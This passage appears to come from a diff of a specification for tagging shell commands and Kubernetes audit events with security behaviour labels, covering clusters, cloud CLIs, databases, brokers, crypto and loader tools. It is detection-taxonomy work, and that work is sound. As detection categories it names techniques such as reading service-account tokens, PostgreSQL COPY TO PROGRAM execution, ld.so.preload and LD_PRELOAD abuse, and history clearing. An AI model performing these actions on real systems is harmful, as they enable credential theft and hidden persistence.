| 578 |
+
listing local clusters is `inspect_local_kubernetes_cluster`; deleting or
|
| 579 |
+
resetting those local clusters is `delete_local_kubernetes_cluster`. Loading or
|
| 580 |
+
importing images into a local cluster remains `transfer_container_image`;
|
| 581 |
+
commands routed through a local cluster wrapper to `kubectl` follow the visible
|
| 582 |
+
`kubectl` operation. Local cluster lifecycle commands with explicit config-file
|
| 583 |
+
operands also read infrastructure config; kubeconfig export helpers are
|
| 584 |
+
`export_cluster_config`, not local cluster inspection. Kubeadm phase-only
|
| 585 |
+
commands follow the named phase rather than inheriting full cluster creation;
|
| 586 |
+
for example token creation creates an access token, token listing reads cluster
|
| 587 |
+
secret data, and certificate upload modifies cluster secret material.
|
| 588 |
+
Kubernetes context helpers such as `kubectx` and `kubens` read or modify local
|
| 589 |
+
kubeconfig context state, not cloud CLI state or cluster authorization policy.
|
| 590 |
+
Direct content reads or content scans of kubeconfig files, including
|
| 591 |
+
`admin.conf`, read credential material because those files commonly contain
|
| 592 |
+
cluster access credentials. Passing a kubeconfig only as an authentication
|
| 593 |
+
operand to another visible Kubernetes operation does not add a separate
|
| 594 |
+
credential-read tag.
|
| 595 |
+
Kubernetes node join commands such as `kubeadm join` create cluster identity
|
| 596 |
+
state; their API-server endpoint is not the primary tag when the join operation
|
| 597 |
+
is visible. Workload shell helpers such as `oc rsh` are workload execution, and
|
| 598 |
+
interactive shells add `spawn_interactive_shell`.
|
| 599 |
+
Kubernetes NetworkPolicy reads, diffs, and mutations are firewall-policy
|
| 600 |
+
inspection or modification, not cloud-provider firewall changes.
|
| 601 |
+
Kubernetes `get` and `list` operations over live cluster objects enumerate
|
| 602 |
+
cluster resources, even when the object contains configuration-like YAML.
|
| 603 |
+
`describe`, rollout status, and detailed live workload views inspect workload
|
| 604 |
+
state. They are not local infrastructure-configuration reads solely because the
|
| 605 |
+
output can be rendered as YAML or JSON.
|
| 606 |
+
|
| 607 |
+
Kubernetes AuditLog rows use normalized event strings, not raw audit JSON:
|
| 608 |
+
|
| 609 |
+
```text
|
| 610 |
+
k8s_audit verb=<verb> apiGroup=<group> resource=<resource> subresource=<subresource> namespace=<namespace> name=<name> user=<user> userAgent=<agent> requestURI=<uri> requestObject=<summary>
|
| 611 |
+
```
|
| 612 |
+
|
| 613 |
+
The behavior label describes the visible Kubernetes API operation. Caller
|
| 614 |
+
identity, user agent, source IP, response status, authorization result, and
|
| 615 |
+
attack likelihood do not create tags by themselves. A failed or denied event
|
| 616 |
+
keeps the attempted visible behavior tag when the operation is visible.
|
| 617 |
+
`get`, `list`, and `watch` on ordinary live objects use
|
| 618 |
+
`enumerate_cluster_resources`; named or collection reads of workload status,
|
| 619 |
+
rollout, scale/status, pod status, and comparable detailed workload state use
|
| 620 |
+
`inspect_workload` when the normalized event establishes a status or detailed
|
| 621 |
+
workload inspection. `create`, `update`, `patch`, `delete`, and
|
| 622 |
+
`deletecollection` on ordinary live objects such as Pods, Deployments,
|
| 623 |
+
DaemonSets, StatefulSets, Jobs, Nodes, Namespaces, ConfigMaps, Leases, PVCs,
|
| 624 |
+
PVs, ResourceQuotas, LimitRanges, PodDisruptionBudgets, PriorityClasses,
|
| 625 |
+
RuntimeClasses, StorageClasses, CSIDrivers, CSINodes, VolumeAttachments,
|
| 626 |
+
VolumeSnapshots, VolumeSnapshotClasses, CustomResourceDefinitions, and
|
| 627 |
+
APIServices use `modify_workload` unless a more specific auth, secret,
|
| 628 |
+
firewall, route, scheduled-task, backup, or verification-material rule applies.
|
| 629 |
+
`pods/eviction` create and `pods/binding` create are workload modification.
|
| 630 |
+
|
| 631 |
+
Kubernetes AuditLog secret, credential, and workload-execution rules are
|
| 632 |
+
specific. Secret collection reads use `enumerate_cluster_secrets`; named Secret
|
| 633 |
+
reads use `read_cluster_secret`; Secret create, update/patch, delete, and
|
| 634 |
+
deletecollection use `create_cluster_secret`, `modify_cluster_secret`,
|
| 635 |
+
`delete_cluster_secret`, and `delete_cluster_secret` respectively. Service
|
| 636 |
+
Account token subresource creates use `create_access_token`; ServiceAccount
|
| 637 |
+
object reads enumerate cluster resources, and ServiceAccount object mutations
|
| 638 |
+
are workload modification. SubjectAccessReview, SelfSubjectAccessReview,
|
| 639 |
+
LocalSubjectAccessReview, SelfSubjectRulesReview, and TokenReview create events
|
| 640 |
+
use `verify_auth_policy`. `pods/exec` and comparable command subresources use
|
| 641 |
+
`execute_in_workload`; if the normalized request includes the inner command,
|
| 642 |
+
the visible Linux command behavior tags are also required. Visible shell opens
|
| 643 |
+
such as `/bin/sh`, `/bin/bash`, `cmd.exe`, or PowerShell add
|
| 644 |
+
`spawn_interactive_shell`. Examples: `command=id` adds
|
| 645 |
+
`inspect_current_identity`, `command=printenv` adds
|
| 646 |
+
`read_environment_variables`, `command=curl ... /healthz` adds
|
| 647 |
+
`query_service_health`, and reading the service-account token path adds
|
| 648 |
+
`read_container_secret` and `read_credential_material`. `pods/attach` uses
|
| 649 |
+
`execute_in_workload`, and adds `spawn_interactive_shell` only when the event
|
| 650 |
+
opens an interactive terminal or visibly attaches to a shell. `pods/log` uses
|
| 651 |
+
`read_workload_logs`; `pods/portforward` uses `port_forward_workload`.
|
| 652 |
+
`pods/ephemeralcontainers` reads inspect workload state; patch/update events
|
| 653 |
+
that add ephemeral containers modify workload state, even when the debug
|
| 654 |
+
container command is a shell.
|
| 655 |
+
|
| 656 |
+
Kubernetes AuditLog policy, route, scheduler, and controller objects use the
|
| 657 |
+
same semantic families as command-line Kubernetes operations. Service, Ingress,
|
| 658 |
+
Endpoint, EndpointSlice, Gateway, HTTPRoute, Route, VirtualService,
|
| 659 |
+
DestinationRule, and comparable routing or exposure mutations use
|
| 660 |
+
`modify_route`; reads of those objects enumerate or inspect live cluster state.
|
| 661 |
+
NetworkPolicy, CiliumNetworkPolicy, and comparable Kubernetes network-policy
|
| 662 |
+
reads use `inspect_firewall_policy`; their mutations use
|
| 663 |
+
`modify_firewall_policy`. Role, ClusterRole, RoleBinding, ClusterRoleBinding,
|
| 664 |
+
PodSecurityPolicy, admission webhooks, ValidatingAdmissionPolicy,
|
| 665 |
+
ValidatingAdmissionPolicyBinding, Kyverno Policy/ClusterPolicy, Gatekeeper
|
| 666 |
+
constraints, and comparable admission policy reads use `inspect_auth_policy`;
|
| 667 |
+
their mutations use `modify_cluster_auth_policy`, except concrete binding
|
| 668 |
+
grants may use `grant_cluster_privilege`. Namespace label changes that set Pod
|
| 669 |
+
Security Admission modes such as `pod-security.kubernetes.io/enforce` are
|
| 670 |
+
`modify_cluster_auth_policy`. CronJob collection and named reads use
|
| 671 |
+
`enumerate_scheduled_tasks` or `read_scheduled_task`; CronJob create,
|
| 672 |
+
update/patch, and delete use `create_scheduled_task`,
|
| 673 |
+
`modify_scheduled_task`, and `delete_scheduled_task`. A Job created from a
|
| 674 |
+
CronJob template with a visible CronJob owner is `execute_scheduled_task`; a
|
| 675 |
+
plain Job create remains `modify_workload`. Velero Backup, Restore, Schedule,
|
| 676 |
+
and comparable backup-controller CRDs use `manage_infrastructure_backup` for
|
| 677 |
+
backup/restore lifecycle operations. CertificateSigningRequest approval,
|
| 678 |
+
CertificateRequest, Certificate, Issuer, ClusterIssuer, and comparable
|
| 679 |
+
certificate workflow mutations use `modify_verification_material`; plain
|
| 680 |
+
collection reads remain cluster-resource enumeration unless the event reads a
|
| 681 |
+
concrete Secret containing certificate private material. GitOps and operator
|
| 682 |
+
service accounts are tagged by the visible API operation they perform, not by
|
| 683 |
+
the caller identity.
|
| 684 |
+
Live Kubernetes and OpenShift resource changes are not cloud-control-plane
|
| 685 |
+
resource changes unless the command addresses a provider resource outside the
|
| 686 |
+
cluster API. Apply/delete/patch/label/taint operations on ordinary cluster
|
| 687 |
+
objects, nodes, namespaces, PVCs, webhooks, and add-ons are workload or cluster
|
| 688 |
+
state modification. Traffic exposure and routing objects such as Services,
|
| 689 |
+
Ingresses, Endpoints, Routes, and service-mesh VirtualServices use
|
| 690 |
+
`modify_route`. RBAC, admission/auth policy, secrets, NetworkPolicies, and
|
| 691 |
+
CronJobs keep their specialized cluster, firewall, secret, or scheduled-task
|
| 692 |
+
tags.
|
| 693 |
+
OpenShift project/context helpers follow the same local context rule. `oc
|
| 694 |
+
project`, `kubectx`, and `kubens` modify or read local kubeconfig context state
|
| 695 |
+
according to the visible option. `oc expose svc/...` creates or changes cluster
|
| 696 |
+
routing/exposure and is `modify_route`; `oc start-build --follow` combines
|
| 697 |
+
container-image build behavior with build log reading.
|
| 698 |
+
|
| 699 |
+
Infrastructure template rendering, planning, validation, linting, and dry-run
|
| 700 |
+
forms are `plan_infrastructure_template` when they do not apply changes to a
|
| 701 |
+
live target. Source operands can add the applicable semantic read tag when the
|
| 702 |
+
path or tool establishes a meaningful source class. Live cluster changes such
|
| 703 |
+
as Helm upgrade/install/rollback/uninstall remain workload modification unless
|
| 704 |
+
the command is explicitly only a template or dry-run render.
|
| 705 |
+
Helm release queries such as history, status, values, and manifest reads inspect
|
| 706 |
+
the managed workload or release state; they are not local infrastructure-config
|
| 707 |
+
reads solely because Helm values look like configuration. Redirecting that
|
| 708 |
+
output to a file does not add a file-path behavior tag.
|
| 709 |
+
Helm release test runs are workload/service health tests, not source builds.
|
| 710 |
+
Helm template, lint, diff, and comparable render/validation-only operations are
|
| 711 |
+
infrastructure-template planning unless they apply changes to a live target.
|
| 712 |
+
Jsonnet rendering and Kustomize localization follow the same infrastructure
|
| 713 |
+
template planning boundary; output destinations do not add file-path behavior
|
| 714 |
+
tags unless the command is explicitly editing local source/config files.
|
| 715 |
+
Service-mesh CLI operations follow the same operation split: analysis, injection
|
| 716 |
+
rendering, and proxy configuration views are planning or inspection; install
|
| 717 |
+
commands apply infrastructure templates; dashboard commands that open a local
|
| 718 |
+
web UI are local listener creation.
|
| 719 |
+
CI workflow files inside source repositories are source/automation definitions,
|
| 720 |
+
not host infrastructure configuration. Reading, linting, diffing, or editing
|
| 721 |
+
`.github/workflows` uses source or repository tags. A visible scheduled trigger
|
| 722 |
+
inside the workflow, such as an `.on.schedule` query, also reads scheduled-task
|
| 723 |
+
content.
|
| 724 |
+
Writing a workflow, Dockerfile, Jenkinsfile, or comparable automation file may
|
| 725 |
+
use `write_executable_content` when the inserted content is executable syntax,
|
| 726 |
+
but embedded future commands do not add current download, upload, credential
|
| 727 |
+
read, environment read, or execution tags unless this command line executes
|
| 728 |
+
them now.
|
| 729 |
+
|
| 730 |
+
GitOps and infrastructure-as-code CLIs follow the visible operation, not the
|
| 731 |
+
repository, app, stack, or target name. Argo CD and Flux app sync, rollback,
|
| 732 |
+
reconcile, suspend, and resume operations modify the managed workload or
|
| 733 |
+
deployment state; app diff/get and kustomization listing inspect or enumerate
|
| 734 |
+
that state. Terraform, Terragrunt, and Pulumi init, plan/preview, apply/up,
|
| 735 |
+
destroy, state, stack-select, and config commands use the corresponding
|
| 736 |
+
infrastructure-template or infrastructure-config tags. Explicit secret-config
|
| 737 |
+
writes, such as Pulumi `config set --secret`, also use `write_secret_store`.
|
| 738 |
+
Git configuration, remote URLs, and repository-local metadata are source
|
| 739 |
+
repository state. Reading or changing them uses source repository tags, not
|
| 740 |
+
host infrastructure-configuration tags, unless a stronger content class such as
|
| 741 |
+
credential material is visibly requested.
|
| 742 |
+
Ansible ad-hoc modules and playbooks execute remote automation unless the
|
| 743 |
+
visible module is only a connectivity probe. `ping` is
|
| 744 |
+
`probe_remote_access_service`; `shell`/`command`/playbook execution is
|
| 745 |
+
`execute_remote_command`; `copy`, `package`, and `service` add the visible
|
| 746 |
+
file/package/service effect when arguments establish it. Packer `fmt`,
|
| 747 |
+
`validate`, `init`, and `build` modify, plan/read, initialize, and build
|
| 748 |
+
machine-image templates according to the visible subcommand and builder; VM
|
| 749 |
+
image builders use `manage_virtual_machine`, while explicit container builders
|
| 750 |
+
use container-image tags. Vagrant, libvirt/virsh, virt-install, virt-clone, and
|
| 751 |
+
QEMU lifecycle operations that create, start, stop, suspend, resume, provision,
|
| 752 |
+
clone, undefine, or destroy local VM state use `manage_virtual_machine`. VM
|
| 753 |
+
status, listing, metadata inspection, console attach, and disk-image file reads
|
| 754 |
+
remain ordinary inspect, enumerate, connect, or file-read behavior.
|
| 755 |
+
Ansible inventory listing, host views, graph views, and playbook
|
| 756 |
+
`--syntax-check` read inventory or automation content but do not execute remote
|
| 757 |
+
automation. Dynamic cloud inventory plugins that query provider APIs also
|
| 758 |
+
enumerate cloud resources.
|
| 759 |
+
|
| 760 |
+
Cloud credential wrappers such as `aws-vault exec` are execution-context
|
| 761 |
+
boundaries: tag the visible nested command's behavior and add changed-identity
|
| 762 |
+
execution only when a command is actually run under that profile. Cloud
|
| 763 |
+
kubeconfig export helpers such as `aws eks update-kubeconfig` and `gcloud
|
| 764 |
+
container clusters get-credentials` export cluster connection configuration;
|
| 765 |
+
when they write local kubeconfig state, `modify_infrastructure_config` may
|
| 766 |
+
coexist with `export_cluster_config`.
|
| 767 |
+
Cloud CLI login or service-account activation is `authenticate_cloud_cli`; cloud
|
| 768 |
+
CLI config setters are `configure_cloud_cli`. Explicit token refresh, renewal,
|
| 769 |
+
logout, session revocation, or token-delete APIs use the access-token lifecycle
|
| 770 |
+
tags instead of generic cloud CLI configuration.
|
| 771 |
+
Cloud account, subscription, project, tenant, and organization listings are
|
| 772 |
+
`enumerate_cloud_accounts`. Cloud IAM users, service accounts, roles, service
|
| 773 |
+
principals, and groups are cloud identity enumeration or mutation, not cloud
|
| 774 |
+
account enumeration.
|
| 775 |
+
Cloud IAM policy-document creation, replacement, versioning, or custom-role
|
| 776 |
+
definition changes are cloud identity policy modification. Binding a policy or
|
| 777 |
+
role to a principal grants cloud privilege; removing that binding revokes cloud
|
| 778 |
+
privilege. Visible policy-document file operands read auth-policy content.
|
| 779 |
+
Cloud compute reads split by visible scope: bulk `list` or filtered
|
| 780 |
+
`describe-instances` resource discovery is `enumerate_cloud_resources`, while a
|
| 781 |
+
single VM/server/instance detail view such as `instances describe`, `vm
|
| 782 |
+
get-instance-view`, `server show`, or single-instance attribute reads is
|
| 783 |
+
`read_cloud_metadata`. Cloud VM remote command helpers are
|
| 784 |
+
`execute_cloud_compute`, with the nested script's visible download, execution,
|
| 785 |
+
file, service, or inspection behaviors added. Explicit cloud VM restart/reset
|
| 786 |
+
operations use `reboot_host`; start, stop, migrate, evacuate, tag, metadata, or
|
| 787 |
+
attribute changes remain `modify_cloud_resource`.
|
| 788 |
+
Cloud-provider resources and cluster resources are separate. IAM users, roles,
|
| 789 |
+
policies, service accounts, cloud functions, cloud SQL instances, snapshots, and
|
| 790 |
+
provider-managed templates use cloud-control-plane tags. Kubernetes namespaces,
|
| 791 |
+
ConfigMaps, Knative services, cluster add-ons, and dry-run rendered manifests use
|
| 792 |
+
cluster/workload or planning tags instead of `create_cloud_resource`. Cloud DB
|
| 793 |
+
connection commands are `connect_cloud_database`; auth-token generation,
|
| 794 |
+
connection-string display, and SQL execution are token creation, metadata read,
|
| 795 |
+
or query behavior according to the visible subcommand.
|
| 796 |
+
Cloud DNS, firewall/security-group, IAM privilege, and access-token operations
|
| 797 |
+
use their specialized tags instead of generic cloud-resource modification.
|
| 798 |
+
Provider queue or stream purge/delete operations modify coordination or queue
|
| 799 |
+
state rather than deleting a cloud resource.
|
| 800 |
+
|
| 801 |
+
PaaS and scheduler CLIs follow visible platform operation. Heroku/Fly app
|
| 802 |
+
creation, deploy, scale, config, run, SSH console, secrets, and logs map to
|
| 803 |
+
cloud resource modification, workload execution, interactive shell, cloud
|
| 804 |
+
secret modification, or workload log reads according to the subcommand. Vault,
|
| 805 |
+
Consul KV, ZooKeeper, etcd, and comparable coordination/KV commands use
|
| 806 |
+
secret-store or credential tags for secret paths or secret-like keys;
|
| 807 |
+
ordinary service/config keys use `read_coordination_data` for reads and
|
| 808 |
+
`modify_coordination_data` for writes/deletes. Nomad job run/stop/status and
|
| 809 |
+
allocation logs map to workload modification, inspection, and workload log
|
| 810 |
+
reads.
|
| 811 |
+
Application framework maintenance-mode commands, such as enabling or disabling
|
| 812 |
+
maintenance mode, modify service state. A visible maintenance bypass secret or
|
| 813 |
+
temporary access token creates access-token material. Explicit render/template
|
| 814 |
+
file operands read their source content but do not execute that content unless
|
| 815 |
+
the command runs it now.
|
| 816 |
+
Vault `operator unseal` changes Vault service availability state and uses
|
| 817 |
+
`modify_service_state`. Unseal keys read from visible files or command
|
| 818 |
+
substitutions add credential-material reads; output captured with `tee` or
|
| 819 |
+
redirection remains incidental output capture.
|
| 820 |
+
Remote service, KV, or coordination-state query output redirected to a local
|
| 821 |
+
file keeps the source domain tag and does not add a file-path behavior tag.
|
| 822 |
+
Mail operations follow visible mail-system semantics. SMTP/IMAP/TLS handshakes
|
| 823 |
+
and no-op checks are mail-server connections; synchronization tools such as
|
| 824 |
+
fetchmail, getmail, mbsync, offlineimap, and imapsync fetch remote mail. Mailbox
|
| 825 |
+
file reads and `doveadm` mailbox queries read mailboxes. Postfix/Exim queue
|
| 826 |
+
listing or message inspection inspects the mail queue; queue delete, hold,
|
| 827 |
+
release, flush, or retry commands modify it. Spam/ham learning commands train a
|
| 828 |
+
mail filter. Commands that visibly send mail use `send_mail`. Mailbox MIME
|
| 829 |
+
extraction uses the applicable destination/content semantic tag only when
|
| 830 |
+
extracting attachment or message content to local files is the direct operation,
|
| 831 |
+
not for incidental reports.
|
| 832 |
+
Database CLIs follow the visible database operation. Session opens, readiness
|
| 833 |
+
probes, schema enumeration, data queries, schema/data mutations, dumps, restores,
|
| 834 |
+
and benchmark/load-test runs use their database-specific tags. SQL file operands
|
| 835 |
+
or stdin redirects used by clients such as `psql`, `mysql`, and `mariadb` are
|
| 836 |
+
database import or script execution inputs, with semantic source reads added
|
| 837 |
+
only when the source path establishes one; when no dedicated script-execution tag
|
| 838 |
+
exists, use the visible SQL objective from the subcommand or strong script name,
|
| 839 |
+
and keep a plain session tag only when the objective is not established. Client
|
| 840 |
+
defaults files are
|
| 841 |
+
infrastructure configuration reads. Client TLS certificates and keys are
|
| 842 |
+
verification and credential material reads. Database admin status and
|
| 843 |
+
process-list commands inspect the service; variables/config views read
|
| 844 |
+
infrastructure configuration, and extended status/metrics views read service
|
| 845 |
+
metrics.
|
| 846 |
+
Database deletion tags distinguish object removal from row/document deletion.
|
| 847 |
+
Dropping a concrete database, schema, index, or data stream is `delete_database`;
|
| 848 |
+
SQL `DELETE`, `_delete_by_query`, partition/content removal, and wildcard or
|
| 849 |
+
bulk deletion of matching data collections are `delete_database_data`.
|
| 850 |
+
Database server-side external features are taggable when visible in the SQL.
|
| 851 |
+
PostgreSQL `COPY ... TO/FROM PROGRAM` is remote command execution from the
|
| 852 |
+
database service context, and server-side file read/write functions inherit the
|
| 853 |
+
visible target's semantic file tag when the target path establishes one.
|
| 854 |
+
Local database engines such as ClickHouse local mode and DuckDB still use
|
| 855 |
+
database query, schema, mutation, import, or export tags according to the SQL
|
| 856 |
+
operation. File operands used as table input, query files, init scripts, or
|
| 857 |
+
message sources add semantic source reads only when their content class is
|
| 858 |
+
visible. SQL text that names `system_config`, `audit_log`, credentials, cron, or
|
| 859 |
+
other domains is database data unless the command reads or mutates the external
|
| 860 |
+
domain object itself.
|
| 861 |
+
|
| 862 |
+
Message broker CLIs follow the visible broker operation. Console consumers and
|
| 863 |
+
producers use message consume or publish tags without adding connection tags
|
| 864 |
+
solely because a broker endpoint is present. Topic creation, deletion, and
|
| 865 |
+
partition changes modify broker infrastructure configuration; topic listing and
|
| 866 |
+
description inspect that infrastructure. Consumer-group offset resets and group
|
| 867 |
+
deletions modify coordination data, while group listing and description inspect
|
| 868 |
+
broker coordination state. Queue purge/delete and stream purge operations also
|
| 869 |
+
modify broker coordination or queue state, not cache data. Producer or consumer
|
| 870 |
+
config files add semantic source reads only when the path establishes a content
|
| 871 |
+
class.
|
| 872 |
+
|
| 873 |
+
Cache CLIs such as Redis clients follow the visible cache or service operation.
|
| 874 |
+
Session opens and health probes are distinct from cache data reads. Key scans,
|
| 875 |
+
key reads, and cache structure queries use cache query tags; key/value writes,
|
| 876 |
+
deletions, pushes, and cache mutations use cache modification tags. Service
|
| 877 |
+
metrics and memory/latency/status views read service metrics. Runtime
|
| 878 |
+
configuration reads and writes use infrastructure configuration tags, except
|
| 879 |
+
credential-bearing configuration such as passwords, which uses credential
|
| 880 |
+
material reads when the value is explicitly requested. Snapshot, save, RDB
|
| 881 |
+
export, restore, and pipe-import operations use database backup/export/import
|
| 882 |
+
tags according to direction. ACL reads and mutations use auth or infrastructure
|
| 883 |
+
privilege tags according to the visible operation.
|
| 884 |
+
Search/index-service alias, template, route, cluster, and node configuration
|
| 885 |
+
views inspect the infrastructure service; mutations to those objects modify
|
| 886 |
+
infrastructure configuration.
|
| 887 |
+
|
| 888 |
+
dbt subcommands are tagged from the dbt operation, not from project or profile
|
| 889 |
+
directory names. `deps` installs project dependencies, `seed` loads seed data
|
| 890 |
+
into the target database, `run` and `snapshot` modify database data or models,
|
| 891 |
+
and `test` runs project tests. Project/profile paths can add semantic source or
|
| 892 |
+
configuration reads only when the command visibly reads that content class; path
|
| 893 |
+
names alone MUST NOT suppress or invent the dbt subcommand behavior.
|
| 894 |
+
|
| 895 |
+
Spark, Flink, PySpark, Airflow, Oozie, Azkaban, DolphinScheduler, DataX,
|
| 896 |
+
Kettle/Pentaho, dbt, Sqoop, Airbyte syncs, Pinot ingestion, Prefect, Dagster,
|
| 897 |
+
Luigi, Argo workflow, Dataflow/Beam, Hadoop/YARN/MapReduce, HBase MapReduce,
|
| 898 |
+
and comparable data-processing job systems use `manage_data_processing_job`
|
| 899 |
+
for visible job lifecycle and monitoring behavior: submit/run, trigger,
|
| 900 |
+
backfill, stop/kill/cancel, clear/rerun, pause/unpause, savepoint/checkpoint
|
| 901 |
+
lifecycle, create/delete/update of data-job or sync definitions, status, list,
|
| 902 |
+
describe, logs, or monitor operations. REST/API calls to job, flow,
|
| 903 |
+
process-instance, task-instance, connection, or sync endpoints follow the same
|
| 904 |
+
rule when they create, delete, update, trigger, inspect, or monitor that data
|
| 905 |
+
processing unit. Dry-run, validation, and configuration-only forms do not manage
|
| 906 |
+
a job unless they also perform one of those lifecycle operations.
|
| 907 |
+
`pyspark` without a submitted script opens an interactive Spark shell and should
|
| 908 |
+
use the same tag because it creates a data-processing session. Add local
|
| 909 |
+
temporary or user-writable execution tags when the submitted application path
|
| 910 |
+
establishes them, and add workload execution when the master targets Kubernetes
|
| 911 |
+
or an equivalent workload runtime. Spark properties files are infrastructure
|
| 912 |
+
configuration inputs with semantic source reads only when the path establishes
|
| 913 |
+
another content class. HDFS `dfs` listing, usage, mkdir, get, put, and similar
|
| 914 |
+
operations use enumeration, storage inspection, download, upload, permission, or
|
| 915 |
+
domain-specific tags according to the visible operation; HDFS path names do not
|
| 916 |
+
imply local file content reads. HDFS existence tests such as `-test -e` inspect file
|
| 917 |
+
metadata. HDFS permission and ACL subcommands such as `chmod`, `chown`, and
|
| 918 |
+
`setfacl` use the generic permission or ACL tags because the visible operation
|
| 919 |
+
is an access-control mutation, even though the target is a distributed
|
| 920 |
+
filesystem path.
|
| 921 |
+
Object-storage metadata queries such as object head/stat and prefix stat/list
|
| 922 |
+
operations enumerate object storage. They are not local storage-state
|
| 923 |
+
inspection.
|
| 924 |
+
|
| 925 |
+
Do not infer `manage_data_processing_job` from an incidental product name in an
|
| 926 |
+
image, directory, metric label, log path, service daemon start, process path, or
|
| 927 |
+
cleanup command. The command must operate on the job/pipeline/workflow itself or
|
| 928 |
+
on a specific job-monitoring endpoint.
|
| 929 |
+
|
| 930 |
+
Local data, ML, and model utility scripts are tagged from their visible inputs
|
| 931 |
+
and outputs unless they invoke a job system above. Dataset profiling, feature
|
| 932 |
+
building, model evaluation, explanation, export, quantization, redaction, and
|
| 933 |
+
report generation read business data when the input dataset/model path
|
| 934 |
+
establishes that class. Output reports, metrics, plots, or artifacts do not add
|
| 935 |
+
a generic file-write tag; add an output-side tag only when the destination or
|
| 936 |
+
artifact has a retained security semantic such as temporary or hidden staging,
|
| 937 |
+
executable content, archive/compression, credential material, or source/config
|
| 938 |
+
mutation. Feature-store pushes and comparable sync scripts use transfer or
|
| 939 |
+
synchronization tags for the visible endpoint. Validation-only scripts read the
|
| 940 |
+
validated data/config or verify the named artifact; they are not job management
|
| 941 |
+
solely because the script is part of a pipeline.
|
| 942 |
+
|
| 943 |
+
SQL gateway clients such as Beeline tag the visible data-service session or SQL
|
| 944 |
+
operation. Query files and init files are database inputs with semantic source
|
| 945 |
+
reads added only when the source path establishes a content class. Trust stores,
|
| 946 |
+
keytabs, and similar connection-material operands are verification or credential
|
| 947 |
+
material reads when visible in the connection string or options.
|
| 948 |
+
|
| 949 |
+
Shell wrappers such as `sh script`, `bash script`, and explicit `-c` forms expose
|
| 950 |
+
the nested command or script execution that runs now, but they are not retained
|
| 951 |
+
behavior tags by themselves. Tag only the nested command's visible behavior,
|
| 952 |
+
such as service mutation, content read/write, network connection, or execution
|
| 953 |
+
from a temporary/user-writable path. Privileged shell modes do not by themselves
|
| 954 |
+
imply privilege escalation. Startup and rcfile operands for interactive shells
|
| 955 |
+
are shell initialization inputs; they do not prove future payload execution
|
| 956 |
+
beyond the shell startup behavior visible in the command.
|
| 957 |
+
Current-session aliases or environment changes such as `alias x=...`,
|
| 958 |
+
`export HISTFILE=...`, or `unset HISTFILE` are not shell-startup modification
|
| 959 |
+
unless persisted to a startup file. Shell history clearing requires a visible
|
| 960 |
+
history clear, deletion, truncation, overwrite, or targeted edit of a history
|
| 961 |
+
file; changing future history variables alone is not clearing existing history.
|
| 962 |
+
|
| 963 |
+
OCI artifact tools follow artifact operation semantics. Cosign verify,
|
| 964 |
+
triangulate, and attestation verification inspect or verify artifact metadata;
|
| 965 |
+
oras/crane login authenticate; pull/download, push/upload, copy/tag, manifest,
|
| 966 |
+
config, digest, and delete map to download/upload/transfer, inspect, or delete
|
| 967 |
+
container-image/artifact behavior according to the subcommand. Helmfile `diff`
|
| 968 |
+
is infrastructure planning, `sync`/`apply` modify workloads or apply templates,
|
| 969 |
+
and `destroy` destroys managed infrastructure/workloads.
|
| 970 |
+
Docker, Podman, Buildah, Kaniko, BuildKit, and Compose image-build operations
|
| 971 |
+
use `build_container_image`, not `build_source_code`; Compose `up --build`
|
| 972 |
+
keeps the visible container creation/start behavior as well.
|
| 973 |
+
Cluster build triggers such as OpenShift `start-build` use container-image build
|
| 974 |
+
semantics; follow/log modes add workload log reads.
|
| 975 |
+
Application-store or depot upload commands that log in and submit a build use
|
| 976 |
+
remote authentication plus the visible upload direction, not source-build tags,
|
| 977 |
+
unless the same command also performs a local build step.
|
| 978 |
+
|
| 979 |
+
Dynamic loader behavior is split by persistence target. `ldconfig` and loader
|
| 980 |
+
cache or search-path updates modify dynamic-loader state. Writes, edits,
|
| 981 |
+
symlinks, or truncation involving `/etc/ld.so.preload` modify library preload
|
| 982 |
+
state. One-shot `LD_PRELOAD`, `LD_AUDIT`, `LD_LIBRARY_PATH`, GCONV, or explicit
|
| 983 |
+
loader-invocation execution uses dynamic-loader execution behavior.
|
| 984 |
+
|
| 985 |
+
Cryptographic commands tag the visible cryptographic operation plus retained
|
| 986 |
+
semantic reads and writes. Key generation creates credential material;
|
| 987 |
+
certificate/CSR inspection or signing reads verification or credential inputs
|
| 988 |
+
and writes verification material when an output path is visible.
|
| 989 |
+
Encryption/decryption reads the semantic source object and uses
|
| 990 |
+
`encrypt_data`/`decrypt_data`; the destination path adds another tag only when it
|
| 991 |
+
has a retained security semantic such as credential material, verification
|
| 992 |
+
material, temporary or hidden staging, archive/compression, source/config
|
| 993 |
+
mutation, or executable content. Digest and signature verification read the
|
| 994 |
+
target artifact but do not become credential creation merely because key
|
| 995 |
+
material is used.
|
| 996 |
+
Access-token creation is for bearer/session/SAS/presigned/Kerberos or comparable
|
| 997 |
+
time-bound access artifacts. Long-lived private keys, keystores, keytabs,
|
| 998 |
+
password hashes, robot credentials, and certificate private-key bundles are
|
| 999 |
+
credential material. Credential cracking tools use `crack_credential_material`;
|
| 1000 |
+
benchmark or self-test modes are performance tests, not cracking attempts.
|
| 1001 |
+
Encoding tags are for representation transforms such as base64, hex, JWT decode,
|
| 1002 |
+
and comparable reversible encodings. Plain text filtering or character deletion
|
| 1003 |
+
with tools such as `tr` and `sed` is not encoding unless the command performs a
|
| 1004 |
+
recognized encoding transform.
|
| 1005 |
+
Signature, attestation, and certificate tools that take explicit key,
|
| 1006 |
+
predicate, certificate, keystore, or artifact operands MUST tag those operands'
|
| 1007 |
+
visible semantic reads when the path establishes the content class. Key or
|
| 1008 |
+
keystore import, export, delete, and generation commands tag the visible
|
| 1009 |
+
credential or verification material mutation direction. Certbot standalone and
|
| 1010 |
+
webroot certificate issuance fetch remote certificate material; Certbot webserver
|
| 1011 |
+
installer plugins such as `--nginx` and `--apache` also modify infrastructure
|
| 1012 |
+
configuration.
|
| 1013 |
+
|
| 1014 |
+
Network control tools MUST follow their primary operation. Active wireless
|
| 1015 |
+
scans are endpoint probes; viewing cached scan results or link/status state is
|
| 1016 |
+
network-state inspection. WPA supplicant network-list or configured-network
|
| 1017 |
+
field queries also inspect network state; they are not host infrastructure
|
| 1018 |
+
configuration reads. `ipset` and connection-tracking mutations are firewall
|
| 1019 |
+
policy/state mutations; listing them is inspection. SSH host-key collection with
|
| 1020 |
+
`ssh-keyscan` is a remote-access service probe, not a generic certificate fetch.
|
| 1021 |
+
VPN tools such as OpenVPN and WireGuard MUST use VPN management for connection
|
| 1022 |
+
or peer configuration actions, and network-state inspection for status views.
|
| 1023 |
+
|
| 1024 |
+
Binary dependency and loader inspection tools such as `ldd` inspect the target
|
| 1025 |
+
